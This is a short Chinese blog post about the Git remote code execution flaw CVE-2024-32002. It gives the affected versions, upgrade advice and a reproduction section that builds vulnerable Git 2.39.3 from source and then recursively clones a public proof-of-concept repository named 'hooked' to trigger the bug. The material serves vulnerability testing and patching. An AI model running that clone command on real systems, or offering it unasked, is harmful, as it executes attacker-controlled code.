Git 远程代码执行漏洞(CVE-2024-32002)
漏洞标题:Git 远程代码执行漏洞(CVE-2024-32002)
影响版本:
- version 2.45.*< 2.45.1
- version 2.44.*< 2.44.1
- version 2.43.*< 2.43.4
- version 2.42.*< 2.42.2
- version 2.41.*< 2.41.1
- version 2.40.*< 2.40.2
- version 2.39.*< 2.39.4
修复方案:
官方已发布修复方案,受影响的用户建议更新至安全版本。
https://github.com/git/git/tags
提示:
命令行执行 git --version,查看是否在上述受漏洞影响的版本。
漏洞复现
环境准备
准备存在漏洞的 Git 版本,eg. https://mirrors.edge.kernel.org/pub/software/scm/git/git-2.39.3.tar.gz
# wget https://mirrors.edge.kernel.org/pub/software/scm/git/git-2.39.3.tar.gz # tar -zxvf git-2.39.3.tar.gz # cd git-2.39.3 # make configure # ./configure --prefix=/usr/local # make all # sudo make install # git --version git version 2.39.3
漏洞测试
# git clone --recursive [email protected]:starnightcyber/captain.git hooked
测试完记得替换成安全的 Git 版本,以上!
参考资料/Materials
https://nvd.nist.gov/vuln/detail/CVE-2024-32002
https://github.com/git/git/security/advisories/GHSA-8h77-4q3w-gfgv
https://mp.weixin.qq.com/s/BRr5PCTgYkfPkvHwDckVMQ
标签:git,version,2.39,2024,漏洞,Git,代码执行,https From: https://www.cnblogs.com/Hi-blog/p/18224773/git_rce_CVE-2024-32002